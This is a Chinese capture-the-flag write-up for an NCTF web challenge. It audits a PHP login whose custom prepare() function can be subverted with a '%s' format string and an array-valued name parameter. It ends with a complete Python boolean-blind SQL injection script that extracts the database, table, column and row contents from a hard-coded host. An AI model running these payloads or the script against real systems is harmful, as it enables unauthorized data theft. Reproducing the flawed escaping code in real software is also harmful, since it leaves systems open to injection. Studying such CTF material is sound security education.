好兄弟👦发来的题目，👴当时没做出来，幸好环境还在
这道题测试一遍后，没什么收获，马后炮先扫描网站目录
发现源码，共有三个文件：config.php、DB.php、login.php
代码审计
config是连接数据库的文件，没啥用，login是登录页面，DB是处理文件，这两个需要着重看一下，文件先挂在下面
login.php
<?php
include_once('config.php');
?>
<!DOCTYPE html>
<html><head><title>There is no absolutely safe system</title></head><body>
<?php
if (isset($_POST['password'])){$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);if (isset($_POST['name'])){$query = db::prepare($query . " and name=%s", $_POST['name']);}else{$query = $query . " and name='benjaminEngel'";}$query = $query . " limit 1";$result = db::commit($query);if ($result->num_rows > 0){die('NCTF{ez');}else{die('Wrong name or password.');}
}
else{?><form action="login.php" method="post"><input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled><input type="password" name="password" id="password" placeholder="Enter password"><button type="submit">Submit</button></form>
<?php
}
?></body>
</html>
先看login.php，传入password后，放进prepare方法里，看单词应该是个处理方法，然后判断是否传入name，若有就再次放进prepare处理，若无就将name设置为‘benjaminEngel’（前端单词却是bejaminEngel）。随后，把语句设置为查询一条数据，放进commit方法里。如果查询到了数据就输出一段flag，否则输出错误报告
DB.php
<?phpclass DB{private static $db = null;public function __construct($db_host, $db_user, $db_pass, $db_database){static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);}static public function buildMySQL($db_host, $db_user, $db_pass, $db_database){return new DB($db_host, $db_user, $db_pass, $db_database);}public static function getInstance(){return static::$db;}public static function connect_error(){return static::$db->connect_errno;}public static function prepare($query, $args){if (is_null($query)){return;}if (strpos($query, '%') === false){die('%s not included in query!');return;}// get args$args = func_get_args();array_shift( $args );$args_is_array = false;if (is_array($args[0]) && count($args) == 1 ) {$args = $args[0];$args_is_array = true;}$count_format = substr_count($query, '%s');if($count_format !== count($args)){die('Wrong number of arguments!');return;}// escapeforeach ($args as &$value){$value = static::$db->real_escape_string($value);}// prepare$query = str_replace("%s", "'%s'", $query);$query = vsprintf($query, $args);return $query;}public static function commit($query){$res = static::$db->query($query);if($res !== false){ return $res;}else{die('Error in query.');}}
}
?>
DB这里是最核心的部分，根据login文件可知，prepare和commit是核心的方法，向prepare传入两个参数，根据login.php可知，一个是sql语句一个是参数。若语句为空就直接返回，若语句里没有%，就输出报错然后返回。将此方法的参数放到一个数组里，将此参数数组第一个元素删除，将args_is_array设置为false（这个没啥用，没找到用到此布尔变量的地方），若参数数组含有一个元素且此元素为数组，那么将此元素赋给参数数组。计算sql语句中%s的个数，跟参数数组中的元素个数不同则报错并返回。将参数进行转义。将%s替换为'%s'，将参数值放入sql语句中。commit方法，先进行查询，然后查询结果不为false就返回res，否则就是输出报错。
分析
这里想闭合符号进行测试，尝试很多都不行，传入引号也会被转义
倘若不传入name，语句拼接了name并且限制一条数据，这个时候就只能从password入手，但password会被加上单引号，想闭合也会被转义，所以我们必须传入name，后续操作也要在name中进行。可在name中操作，就算没有转义，你闭合了符号，由于前面限制了password=md5(%s)，你也查不到任何东西。这里卡住了，最终思路是，改闭合password那里。这就很妙了，我们将password里传入格式化字符串%s（%需要编码），这样的话，传入的name值就作为password里的字符串，在password那里闭合小括号，后面注释就可以了。但是格式化字符和参数个数不一致会报错。所以这里想到name传入数组，传入两个name用于平衡格式化字符串，后面那个name值随便是啥，反正都被注释了。（源码自己运行测试，加几个print语句，看语句如何构造的，用于理解这题很有帮助）
所以传入一句进行测试：password=%25s&name[0]=) union select 1,2,3#&name[1]=随便
由于没有其他回显，查询不到会报错，所以直接布尔盲注，采用二分法
脚本
import binascii
import timeimport requestsurl = "http://129.211.173.64:3080/login.php"Success_message = "NCTF"
payload = ""
data = {"password": "%s","name[0]": payload,"name[1]": "随便"
}def database_name():db_name = ''for i in range(1, 10):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ") or ascii(substr(database(),%d,1))>%d#" % (i, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakdb_name += chr(mid)print("数据库名: " + db_name)return db_namedef table_name():name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d#" % (j, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print("表名: " + name)table_list = name.split(",")for tab_name in table_list:column_name(tab_name)def column_name(tab_name):name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ') or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=%s),%d,1))>%d#' % (("0x" + binascii.b2a_hex(tab_name.encode()).decode()), j, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print(("%s表的字段名: " + name) % tab_name)column_list = name.split(",")for col_name in column_list:get_data(tab_name, col_name)def get_data(tab_name, col_name):dt = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ") or ascii(substr((select(group_concat(`%s`))from `%s`),%d,1))>%d#" % (col_name, tab_name, i, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakdt += chr(mid)print(("%s表的%s字段数据: " + dt) % (tab_name, col_name))if __name__ == '__main__':database_name()table_name()
脚本改个url直接运行，由于有转义函数的存在，所以部分paylaod里的等于表名不能用引号包裹，改成十六进制字符串就好。group_concat或者from表名时，用反引号包裹绕过。
